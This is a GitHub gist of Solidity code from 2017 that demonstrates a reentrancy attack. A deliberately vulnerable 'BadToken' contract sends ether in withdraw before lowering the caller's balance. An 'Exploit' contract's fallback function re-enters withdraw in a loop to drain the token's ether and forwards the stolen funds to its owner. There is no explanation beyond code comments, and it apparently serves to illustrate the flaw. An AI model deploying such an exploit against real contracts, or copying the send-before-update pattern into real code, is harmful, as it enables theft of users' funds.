Created
May 25, 2017 14:13
-
-
Save Arachnid/bb818af7d2a4bdcdfb1bc1dce74fb764 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.0; | |
contract BadToken { | |
mapping(address=>uint) public balances; | |
function BadToken() payable { | |
balances[msg.sender] = msg.value; | |
} | |
function transfer(address recipient, uint amount) { | |
if(amount <= balances[msg.sender]) { | |
balances[recipient] += amount; | |
balances[msg.sender] -= amount; | |
} | |
} | |
function withdraw(uint amount) { | |
if(amount <= balances[msg.sender]) { | |
// Send the ether to the caller | |
if(!msg.sender.call.value(amount)()) throw; | |
// Decrease their balance | |
balances[msg.sender] -= amount; | |
} | |
} | |
} | |
contract Exploit { | |
BadToken token; | |
address owner; | |
function Exploit(BadToken _token) { | |
owner = msg.sender; | |
token = _token; | |
} | |
function steal() { | |
// Withdraw our funds | |
token.withdraw(token.balances(this)); | |
} | |
function() { | |
// Check if we have enough gas for another loop | |
if(msg.gas > 100000) { | |
token.withdraw(token.balances(this)); | |
} else { | |
// If not, send our ill-gotten gains to the owner. | |
if(!owner.send(this.balance)) throw; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment